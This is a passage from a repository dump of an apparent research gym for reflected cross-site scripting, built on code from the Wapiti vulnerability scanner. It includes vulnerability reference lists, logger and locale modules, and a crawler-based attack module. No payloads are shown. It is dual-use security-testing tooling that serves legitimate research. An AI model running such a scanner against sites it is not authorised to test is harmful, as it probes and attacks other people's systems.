| 70 | <![CDATA[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')]]> 71 | http://cwe.mitre.org/data/definitions/79.html 72 | 73 | 74 | 75 | 76 | CRLF description 77 | 78 | 79 | 80 | http://www.owasp.org/index.php/CRLF_Injection 81 | http://www.owasp.org/index.php/CRLF_Injection 82 | 83 | 84 | http://www.acunetix.com/websitesecurity/crlf-injection.htm 85 | http://www.acunetix.com/websitesecurity/crlf-injection.htm 86 | 87 | 88 | <![CDATA[CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')]]> 89 | http://cwe.mitre.org/data/definitions/93.html 90 | 91 | 92 | 93 | 94 | Commands execution description 95 | 96 | 97 | 98 | http://www.owasp.org/index.php/Command_Injection 99 | http://www.owasp.org/index.php/Command_Injection 100 | 101 | 102 | <![CDATA[CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')]]> 103 | http://cwe.mitre.org/data/definitions/78.html 104 | 105 | 106 | 107 | 108 | Htaccess bypass description 109 | 110 | 111 | 112 | http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html 113 | http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html 114 | 115 | 116 | CWE-538: File and Directory Information Exposure 117 | http://cwe.mitre.org/data/definitions/538.html 118 | 119 | 120 | 121 | 122 | Backup file description 123 | 124 | 125 | 126 | Testing for Old, Backup and Unreferenced Files (OWASP-CM-006) 127 | http://www.owasp.org/index.php/Testing_for_Old,_Backup_and_Unreferenced_Files_(OWASP-CM-006) 128 | 129 | 130 | CWE-530: Exposure of Backup File to an Unauthorized Control Sphere 131 | http://cwe.mitre.org/data/definitions/530.html 132 | 133 | 134 | 135 | 136 | Potentially dangerous file description 137 | 138 | 139 | 140 | The Open Source Vulnerability Database 141 | http://osvdb.org/ 142 | 143 | 144 | 145 | 146 | Server Side Request Forgery description 147 | 148 | 149 | 150 | Server Side Request Forgery (OWASP) 151 | https://www.owasp.org/index.php/Server_Side_Request_Forgery 152 | 153 | 154 | What is Server Side Request Forgery (Acunetix)? 155 | https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/ 156 | 157 | 158 | What is the Server Side Request Forgery Vulnerability (Netsparker) 159 | https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/ 160 | 161 | 162 | CWE-918: Server-Side Request Forgery (SSRF) 163 | https://cwe.mitre.org/data/definitions/918.html 164 | 165 | 166 | 167 | 168 | Open Redirect description 169 | 170 | 171 | 172 | Owasp Open Redirect 173 | https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html 174 | 175 | 176 | <![CDATA[CWE-601: URL Redirection to Untrusted Site ('Open Redirect')]]> 177 | https://cwe.mitre.org/data/definitions/601.html 178 | 179 | 180 | 181 | 182 | XXE description 183 | 184 | 185 | 186 | Owasp XML External Entity (XXE) Processing 187 | https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing 188 | 189 | 190 | CWE-611: Improper Restriction of XML External Entity Reference 191 | https://cwe.mitre.org/data/definitions/611.html 192 | 193 | 194 | 195 | 196 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/language/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/__pycache__/language.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/language/__pycache__/language.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/__pycache__/logger.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/language/__pycache__/logger.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/__pycache__/vulnerability.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/language/__pycache__/vulnerability.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/language.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # This file is part of the Wapiti project (http://wapiti.sourceforge.io) 4 | # Copyright (C) 2008-2020 Nicolas Surribas 5 | # 6 | # Original author : 7 | # David del Pozo 8 | # Alberto Pastor 9 | # Copyright (C) 2008 Informatica Gesfor 10 | # ICT Romulus (http://www.ict-romulus.eu) 11 | # 12 | # This program is free software; you can redistribute it and/or modify 13 | # it under the terms of the GNU General Public License as published by 14 | # the Free Software Foundation; either version 2 of the License, or 15 | # (at your option) any later version. 16 | # 17 | # This program is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 | # GNU General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU General Public License 23 | # along with this program; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 25 | import os 26 | import locale 27 | import gettext 28 | import sys 29 | 30 | AVAILABLE_LANGS = ["en", "es", "fr", "pt", "zh"] # "de", "ms"] 31 | 32 | if sys.platform == "win32": 33 | import ctypes 34 | 35 | windll = ctypes.windll.kernel32 36 | def_locale = locale.windows_locale[windll.GetUserDefaultUILanguage()] # for example fr_FR 37 | lang_country = def_locale[:2] 38 | else: 39 | # getdefaultlocale will return (None, None) if locale settings are incorrectly set (ex: LANG=C) 40 | def_locale = locale.getdefaultlocale() # for example ('fr_FR', 'cp1252') 41 | lang_country = def_locale[0] 42 | 43 | lang = None 44 | if isinstance(lang_country, str) and len(lang_country) >= 2: 45 | lang = lang_country[:2] # fr 46 | 47 | if lang is None: 48 | print("Unable to correctly determine your language settings. Using english as default.") 49 | print("Please check your locale settings for internationalization features.") 50 | print("===============================================================") 51 | lang = "en" 52 | elif lang not in AVAILABLE_LANGS: 53 | # if lang is not one of the supported languages, we use english 54 | print("Oops! No translations found for your language... Using english.") 55 | print("Please send your translations for improvements.") 56 | print("===============================================================") 57 | lang = "en" 58 | 59 | BASE_DIR = os.path.dirname(sys.modules["wapitiCore"].__file__) 60 | LANG_PATH = os.path.join(BASE_DIR, "config", "language") 61 | 62 | lan = gettext.translation( 63 | "wapiti", 64 | LANG_PATH, 65 | languages=[lang, "en"], 66 | codeset="UTF-8" 67 | ) 68 | _ = lan.gettext -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # 4 | # This file is part of the Wapiti project (http://wapiti.sourceforge.io) 5 | # Copyright (C) 2017-2020 Nicolas Surribas 6 | # 7 | # This program is free software; you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation; either version 2 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 20 | import sys 21 | from abc import abstractmethod 22 | 23 | 24 | class BaseLogger: 25 | def __init__(self): 26 | self._verbose = 0 27 | 28 | @property 29 | def verbose(self): 30 | return self._verbose 31 | 32 | @verbose.setter 33 | def verbose(self, value: int): 34 | self._verbose = value 35 | 36 | @abstractmethod 37 | def log(self, fmt_string, *args): 38 | pass 39 | 40 | @abstractmethod 41 | def log_red(self, fmt_string, *args): 42 | pass 43 | 44 | @abstractmethod 45 | def log_green(self, fmt_string, *args): 46 | pass 47 | 48 | @abstractmethod 49 | def log_yellow(self, fmt_string, *args): 50 | pass 51 | 52 | @abstractmethod 53 | def log_cyan(self, fmt_string, *args): 54 | pass 55 | 56 | @abstractmethod 57 | def log_white(self, fmt_string, *args): 58 | pass 59 | 60 | @abstractmethod 61 | def log_magenta(self, fmt_string, *args): 62 | pass 63 | 64 | @abstractmethod 65 | def log_blue(self, fmt_string, *args): 66 | pass 67 | 68 | @abstractmethod 69 | def log_orange(self, fmt_string, *args): 70 | pass 71 | 72 | 73 | class ConsoleLogger(BaseLogger): 74 | # Color codes 75 | STD = "\033[0;0m" 76 | RED = "\033[0;31m" 77 | GREEN = "\033[0;32m" 78 | ORANGE = "\033[0;33m" 79 | YELLOW = "\033[1;33m" 80 | BLUE = "\033[1;34m" 81 | MAGENTA = "\033[0;35m" 82 | CYAN = "\033[0;36m" 83 | GB = "\033[0;30m\033[47m" 84 | 85 | def __init__(self): 86 | super().__init__() 87 | self._color = False 88 | 89 | @property 90 | def color(self): 91 | return self._color 92 | 93 | @color.setter 94 | def color(self, value: bool): 95 | self._color = value 96 | 97 | def log(self, fmt_string, *args): 98 | if len(args) == 0: 99 | print(fmt_string) 100 | else: 101 | print(fmt_string.format(*args)) 102 | if self.color: 103 | sys.stdout.write(self.STD) 104 | 105 | def log_red(self, fmt_string, *args): 106 | if self.color: 107 | sys.stdout.write(self.RED) 108 | self.log(fmt_string, *args) 109 | 110 | def log_green(self, fmt_string, *args): 111 | if self.color: 112 | sys.stdout.write(self.GREEN) 113 | self.log(fmt_string, *args) 114 | 115 | def log_yellow(self, fmt_string, *args): 116 | if self.color: 117 | sys.stdout.write(self.YELLOW) 118 | self.log(fmt_string, *args) 119 | 120 | def log_cyan(self, fmt_string, *args): 121 | if self.color: 122 | sys.stdout.write(self.CYAN) 123 | self.log(fmt_string, *args) 124 | 125 | def log_white(self, fmt_string, *args): 126 | if self.color: 127 | sys.stdout.write(self.GB) 128 | self.log(fmt_string, *args) 129 | 130 | def log_magenta(self, fmt_string, *args): 131 | if self.color: 132 | sys.stdout.write(self.MAGENTA) 133 | self.log(fmt_string, *args) 134 | 135 | def log_blue(self, fmt_string, *args): 136 | if self.color: 137 | sys.stdout.write(self.BLUE) 138 | self.log(fmt_string, *args) 139 | 140 | def log_orange(self, fmt_string, *args): 141 | if self.color: 142 | sys.stdout.write(self.ORANGE) 143 | self.log(fmt_string, *args) -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/language/vulnerability.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # This file is part of the Wapiti project (http://wapiti.sourceforge.io) 5 | # Copyright (C) 2013-2020 Nicolas Surribas 6 | # 7 | # This program is free software; you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation; either version 2 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 20 | # from gym_reflected_xss.attack_module.language.language import _ 21 | 22 | 23 | class GenericObservation: 24 | # Constants 25 | MSG_EVIL_URL = (" Evil url: {0}") 26 | MSG_PARAM_INJECT = ("{0} in {1} via injection in the parameter {2}") 27 | MSG_FROM = (" coming from {0}") 28 | MSG_QS_INJECT = ("{0} in {1} via injection in the query string") 29 | MSG_PATH_INJECT = ("{0} in {1} via injection in the resource path") 30 | MSG_EVIL_PARAM = ("Involved parameter: {0}") 31 | MSG_EVIL_REQUEST = ("Evil request:") 32 | 33 | HIGH_LEVEL = "1" 34 | MEDIUM_LEVEL = "2" 35 | LOW_LEVEL = "3" 36 | 37 | def __init__(self): 38 | self.name = "" 39 | self.description = "" 40 | self.solution = "" 41 | self.references = {} 42 | 43 | def get_name(self): 44 | return self.name 45 | 46 | def get_description(self): 47 | return self.description 48 | 49 | def get_solution(self): 50 | return self.solution 51 | 52 | def get_references(self): 53 | return self.references 54 | 55 | def set_name(self, name): 56 | self.name = name 57 | 58 | def set_description(self, description): 59 | self.description = description 60 | 61 | def set_solution(self, solution): 62 | self.solution = solution 63 | 64 | def set_references(self, references): 65 | self.references = references 66 | 67 | 68 | class Notice(GenericObservation): 69 | # Constants 70 | ERROR_404 = ("File not found message") 71 | 72 | 73 | class Vulnerability(Notice): 74 | # Constants 75 | SQL_INJECTION = ("SQL Injection") 76 | BLIND_SQL_INJECTION = ("Blind SQL Injection") 77 | FILE_HANDLING = ("File Handling") 78 | XSS = ("Cross Site Scripting") 79 | CRLF = ("CRLF Injection") 80 | EXEC = ("Commands execution") 81 | HTACCESS = ("Htaccess Bypass") 82 | BACKUP = ("Backup file") 83 | NIKTO = ("Potentially dangerous file") 84 | SSRF = ("Server Side Request Forgery") 85 | REDIRECT = ("Open Redirect") 86 | XXE = ("XXE") 87 | 88 | 89 | class Anomaly(Notice): 90 | # Constants 91 | ERROR_500 = ("Internal Server Error") 92 | RES_CONSUMPTION = ("Resource consumption") 93 | 94 | MSG_500 = ("Received a HTTP 500 error in {0}") 95 | MSG_TIMEOUT = ("Timeout occurred in {0}") 96 | 97 | MSG_QS_TIMEOUT = ("The request timed out while attempting to inject a payload in the query string") 98 | MSG_PATH_TIMEOUT = ("The request timed out while attempting to inject a payload in the resource path") 99 | MSG_PARAM_TIMEOUT = ("The request timed out while attempting to inject a payload in the parameter {0}") 100 | 101 | MSG_QS_500 = ("The server responded with a 500 HTTP error code " 102 | "while attempting to inject a payload in the query string") 103 | MSG_PATH_500 = ("The server responded with a 500 HTTP error code " 104 | "while attempting to inject a payload in the resource path") 105 | MSG_PARAM_500 = ("The server responded with a 500 HTTP error code " 106 | "while attempting to inject a payload in the parameter {0}") 107 | 108 | 109 | # The only reason those lines are here is to allow the translation script to find them 110 | ("Backup file description") 111 | ("Backup file solution") 112 | 113 | ("Blind SQL Injection description") 114 | ("Blind SQL Injection solution") 115 | 116 | ("Commands execution description") 117 | ("Commands execution solution") 118 | 119 | ("CRLF description") 120 | ("CRLF solution") 121 | 122 | ("Cross Site Scripting description") 123 | ("Cross Site Scripting solution") 124 | 125 | ("File Handling description") 126 | ("File Handling solution") 127 | 128 | ("Htaccess bypass description") 129 | ("Htaccess bypass solution") 130 | 131 | ("Internal server error description") 132 | ("Internal server error solution") 133 | 134 | ("Potentially dangerous file description") 135 | ("Potentially dangerous file solution") 136 | 137 | ("Resource consumption description") 138 | ("Resource consumption solution") 139 | 140 | ("SQL Injection description") 141 | ("SQL Injection solution") 142 | 143 | ("Server Side Request Forgery description") 144 | ("Server Side Request Forgery solution") 145 | 146 | ("Open Redirect description") 147 | ("Open Redirect solution") 148 | 149 | ("XXE description") 150 | ("XXE solution") -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/main/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/main/__init__.py -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/main/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/main/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/main/__pycache__/attack_module.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/main/__pycache__/attack_module.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/main/attack_module.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | import os 4 | from urllib.parse import urlparse 5 | from time import strftime, gmtime, sleep 6 | from importlib import import_module 7 | from operator import attrgetter 8 | from traceback import print_tb 9 | from collections import deque 10 | from datetime import datetime 11 | import logging 12 | from uuid import uuid1 13 | from colorama import Fore, Back, Style 14 | from hashlib import md5 15 | from random import choice 16 | import requests 17 | from requests.exceptions import RequestException, ConnectionError, Timeout, ChunkedEncodingError, ContentDecodingError 18 | 19 | from gym_reflected_xss.attack_module.net import crawler, jsoncookie 20 | from gym_reflected_xss.attack_module.net.web import Request 21 | from gym_reflected_xss.attack_module.net.sqlite_persister import SqlitePersister 22 | from gym_reflected_xss.attack_module.attack import attack 23 | from gym_reflected_xss.attack_module.attack.attack import Attack 24 | # from gym_reflected_xss.attack_module.language.language import _ 25 | 26 | WAPITI_VERSION = "Wapiti 3.0.3" 27 | SCAN_FORCE_VALUES = { 28 | "paranoid": 1, 29 | "sneaky": 0.7, 30 | "polite": 0.5, 31 | "normal": 0.2, 32 | "aggressive": 0.06, 33 | "insane": 0 # Special value that won't be really used 34 | } 35 | 36 | class InvalidOptionValue(Exception): 37 | def __init__(self, opt_name, opt_value): 38 | self.opt_name = opt_name 39 | self.opt_value = opt_value 40 | 41 | def __str__(self): 42 | return ("Invalid argument for option {0} : {1}").format(self.opt_name, self.opt_value) 43 | 44 | class AttackModule(): 45 | # REPORT_DIR = "report" 46 | #HOME_DIR = os.getenv("HOME") or os.getenv("USERPROFILE") 47 | #COPY_REPORT_DIR = os.path.join(HOME_DIR, ".wapiti", "generated_report") 48 | 49 | def __init__(self, root_url): 50 | 51 | self.done = False 52 | 53 | self.target_url = root_url 54 | self.server = urlparse(root_url).netloc 55 | 56 | self.crawler = crawler.Crawler(root_url) 57 | self.crawler.scope = crawler.Scope.PUNK 58 | self._start_urls = deque([root_url]) 59 | self.urls = [] 60 | self.forms = [] 61 | self.attacks = [] 62 | 63 | self._history_file = os.path.join( 64 | SqlitePersister.CRAWLER_DATA_DIR, 65 | "{}_{}_{}.db".format( 66 | self.server.replace(':', '_'), 67 | self.crawler.scope, 68 | md5(root_url.encode(errors="replace")).hexdigest()[:8] 69 | ) 70 | ) 71 | self.persister = SqlitePersister(self._history_file) 72 | self.color = 0 73 | self.verbose = 0 74 | self.module_options = None 75 | self.attack_options = {} 76 | self._excluded_urls = [] 77 | self._bad_params = set() 78 | self._max_depth = 40 79 | self._max_links_per_page = -1 80 | self._max_files_per_dir = 0 81 | self._scan_force = "normal" 82 | self._max_scan_time = 0 83 | self._bug_report = True 84 | 85 | self.report_gen = None 86 | self.report_generator_type = "html" 87 | self.output_file = "" 88 | 89 | 90 | 91 | def browse(self): 92 | 93 | """Extract hyperlinks and forms from the webpages found on the website""" 94 | for resource in self.persister.get_to_browse(): 95 | self._start_urls.append(resource) 96 | for resource in self.persister.get_links(): 97 | self._excluded_urls.append(resource) 98 | for resource in self.persister.get_forms(): 99 | self._excluded_urls.append(resource) 100 | 101 | stopped = False 102 | 103 | explorer = crawler.Explorer(self.crawler) 104 | explorer.max_depth = self._max_depth 105 | explorer.max_files_per_dir = self._max_files_per_dir 106 | explorer.max_requests_per_depth = self._max_links_per_page 107 | explorer.forbidden_parameters = self._bad_params 108 | explorer.qs_limit = 1 #SCAN_FORCE_VALUES[self._scan_force] 109 | explorer.verbose = (self.verbose > 0) 110 | explorer.load_saved_state(self.persister.output_file[:-2] + "pkl") 111 | 112 | self.persister.set_root_url(self.target_url) 113 | start = datetime.utcnow() 114 | print(Fore.RED + "[*] Start Scanning...", end="\r") 115 | try: 116 | for resource in explorer.explore(self._start_urls, self._excluded_urls): 117 | # Browsed URLs are saved one at a time 118 | self.persister.add_request(resource) 119 | if (datetime.utcnow() - start).total_seconds() > self._max_scan_time >= 1: 120 | print(("Max scan time was reached, stopping.")) 121 | break 122 | except KeyboardInterrupt: 123 | stopped = True 124 | sys.stdout.write("\033[K") 125 | print(Fore.GREEN + "[*] Scanning complete" + Fore.RESET) 126 | print(("[*] Saving scan state, please wait...")) 127 | 128 | # Not yet scanned URLs are all saved in one single time (bulk insert + final commit) 129 | self.persister.set_to_browse(self._start_urls) 130 | # Let's save explorer values (limits) 131 | explorer.save_state(self.persister.output_file[:-2] + "pkl") 132 | 133 | 134 | # print((" Note")) 135 | # print("========") 136 | 137 | # print(("This scan has been saved in the file {0}").format(self.persister.output_file)) 138 | if stopped: 139 | print(("The scan will be resumed next time unless you pass the --skip-crawl option.")) 140 | 141 | 142 | 143 | 144 | def set_timeout(self, timeout: float = 6.0): 145 | """Set the timeout for the time waiting for a HTTP response""" 146 | self.crawler.timeout = timeout 147 | 148 | def set_verify_ssl(self, verify: bool = False): 149 | """Set whether SSL must be verified.""" 150 | self.crawler.secure = verify 151 | 152 | def set_proxy(self, proxy: str = ""): 153 | """Set a proxy to use for HTTP requests.""" 154 | self.crawler.set_proxy(proxy) 155 | 156 | def add_start_url(self, url: str): 157 | """Specify an URL to start the scan with. Can be called several times.""" 158 | self._start_urls.append(url) 159 | 160 | def add_excluded_url(self, url_or_pattern: str): 161 | """Specify an URL to exclude from the scan. Can be called several times.""" 162 | self._excluded_urls.append(url_or_pattern) 163 | 164 | def set_cookie_file(self, cookie: str): 165 | """Load session data from a cookie file""" 166 | if os.path.isfile(cookie): 167 | jc = jsoncookie.JsonCookie() 168 | jc.open(cookie) 169 | cookiejar = jc.cookiejar(self.server) 170 | jc.close() 171 | self.crawler.session_cookies = cookiejar 172 | 173 | def set_auth_credentials(self, auth_basic: tuple): 174 | """Set credentials to use if the website require an authentication.""" 175 | self.crawler.credentials = auth_basic 176 | 177 | def set_auth_type(self, auth_method: str): 178 | """Set the authentication method to use.""" 179 | self.crawler.auth_method = auth_method 180 | 181 | def add_bad_param(self, param_name: str): 182 | """Exclude a parameter from an url (urls with this parameter will be 183 | modified. This function can be call several times""" 184 | self._bad_params.add(param_name) 185 | 186 | def set_max_depth(self, limit: int): 187 | """Set how deep the scanner should explore the website""" 188 | self._max_depth = limit 189 | 190 | def set_max_links_per_page(self, limit: int): 191 | self._max_links_per_page = limit 192 | 193 | def set_max_files_per_dir(self, limit: int): 194 | self._max_files_per_dir = limit 195 | 196 | def set_scan_force(self, force: str): 197 | self._scan_force = force 198 | 199 | def set_max_scan_time(self, minutes: float): 200 | self._max_scan_time = minutes * 60 201 | 202 | def set_color(self): 203 | """Put colors in the console output (terminal must support colors)""" 204 | self.color = 1 205 | 206 | def verbosity(self, vb: int): 207 | """Define the level of verbosity of the output.""" 208 | self.verbose = vb 209 | 210 | def set_bug_reporting(self, value: bool): 211 | self._bug_report = value 212 | 213 | def set_attack_options(self, options: dict = None): 214 | self.attack_options = options if isinstance(options, dict) else {} 215 | 216 | def set_modules(self, options=""): 217 | """Activate or deactivate (default) all attacks""" 218 | self.module_options = options 219 | 220 | def set_report_generator_type(self, report_type="xml"): 221 | """Set the format of the generated report. Can be html, json, txt or xml""" 222 | self.report_generator_type = report_type 223 | 224 | def set_output_file(self, output_file: str): 225 | """Set the filename where the report will be written""" 226 | self.output_file = output_file 227 | 228 | def add_custom_header(self, key: str, value: str): 229 | self.crawler.add_custom_header(key, value) 230 | 231 | def flush_attacks(self): 232 | self.persister.flush_attacks() 233 | 234 | def flush_session(self): 235 | self.persister.close() 236 | try: 237 | os.unlink(self._history_file) 238 | except FileNotFoundError: 239 | pass 240 | 241 | try: 242 | os.unlink(self.persister.output_file[:-2] + "pkl") 243 | except FileNotFoundError: 244 | pass 245 | self.persister = SqlitePersister(self._history_file) 246 | 247 | def count_resources(self): 248 | return self.persister.count_paths() 249 | 250 | def has_scan_started(self): 251 | return self.persister.has_scan_started() 252 | 253 | def have_attacks_started(self): 254 | return self.persister.have_attacks_started() 255 | 256 | 257 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__init__.py -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/crawler.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/crawler.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/jsoncookie.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/jsoncookie.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/lamejs.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/lamejs.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/sqlite_persister.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/sqlite_persister.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/web.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/web.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/__pycache__/xss_utils.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/__pycache__/xss_utils.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/jsoncookie.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # This file is part of the Wapiti project (http://wapiti.sourceforge.net) 4 | # Copyright (C) 2012-2019 Nicolas Surribas 5 | # 6 | # This program is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 2 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 19 | import json 20 | import re 21 | from http.cookiejar import Cookie, CookieJar 22 | 23 | from requests.cookies import RequestsCookieJar 24 | 25 | # Regex to check whether the domain returned by CookieJar is an IP address 26 | # IPv6 addresses seems to have a ".local" suffix. 27 | IP_REGEX = re.compile(r"^(?P(\d+\.\d+\.\d+.\d+)|(\[([\da-f:]+)\])(\.local)?)(?P:\d+)?$") 28 | 29 | 30 | class JsonCookie: 31 | """This class allows to store (and load) cookies in a JSON formatted file.""" 32 | 33 | def __init__(self): 34 | self.cookiedict = None 35 | self.fd = None 36 | 37 | # return a dictionary on success, None on failure 38 | def open(self, filename): 39 | if not filename: 40 | return None 41 | try: 42 | self.fd = open(filename, "r+") 43 | self.cookiedict = json.load(self.fd) 44 | except (IOError, ValueError): 45 | self.fd = open(filename, "w+") 46 | self.cookiedict = {} 47 | return self.cookiedict 48 | 49 | def addcookies(self, cookies): 50 | """Inject Cookies from a CookieJar into our JSON dictionary.""" 51 | if not isinstance(cookies, RequestsCookieJar): 52 | return False 53 | 54 | for domain, pathdict in cookies._cookies.items(): 55 | search_ip = IP_REGEX.match(domain) 56 | if search_ip: 57 | # Match either an IPv4 address or an IPv6 address with a local suffix 58 | domain_key = search_ip.group("ip") 59 | else: 60 | domain_key = domain if domain[0] == '.' else '.' + domain 61 | 62 | if domain_key not in self.cookiedict.keys(): 63 | self.cookiedict[domain_key] = {} 64 | 65 | for path, keydict in pathdict.items(): 66 | if path not in self.cookiedict[domain_key].keys(): 67 | self.cookiedict[domain_key][path] = {} 68 | 69 | for key, cookieobj in keydict.items(): 70 | if isinstance(cookieobj, Cookie): 71 | print(cookieobj) 72 | cookie_attrs = { 73 | "value": cookieobj.value, 74 | "expires": cookieobj.expires, 75 | "secure": cookieobj.secure, 76 | "port": cookieobj.port, 77 | "version": cookieobj.version 78 | } 79 | self.cookiedict[domain_key][path][key] = cookie_attrs 80 | 81 | def cookiejar(self, domain): 82 | """Returns a cookielib.CookieJar object containing cookies matching the given domain.""" 83 | cj = CookieJar() 84 | 85 | if not domain: 86 | return cj 87 | 88 | # Domain comes from a urlparse().netloc so we must take care of optional port number 89 | search_ip = 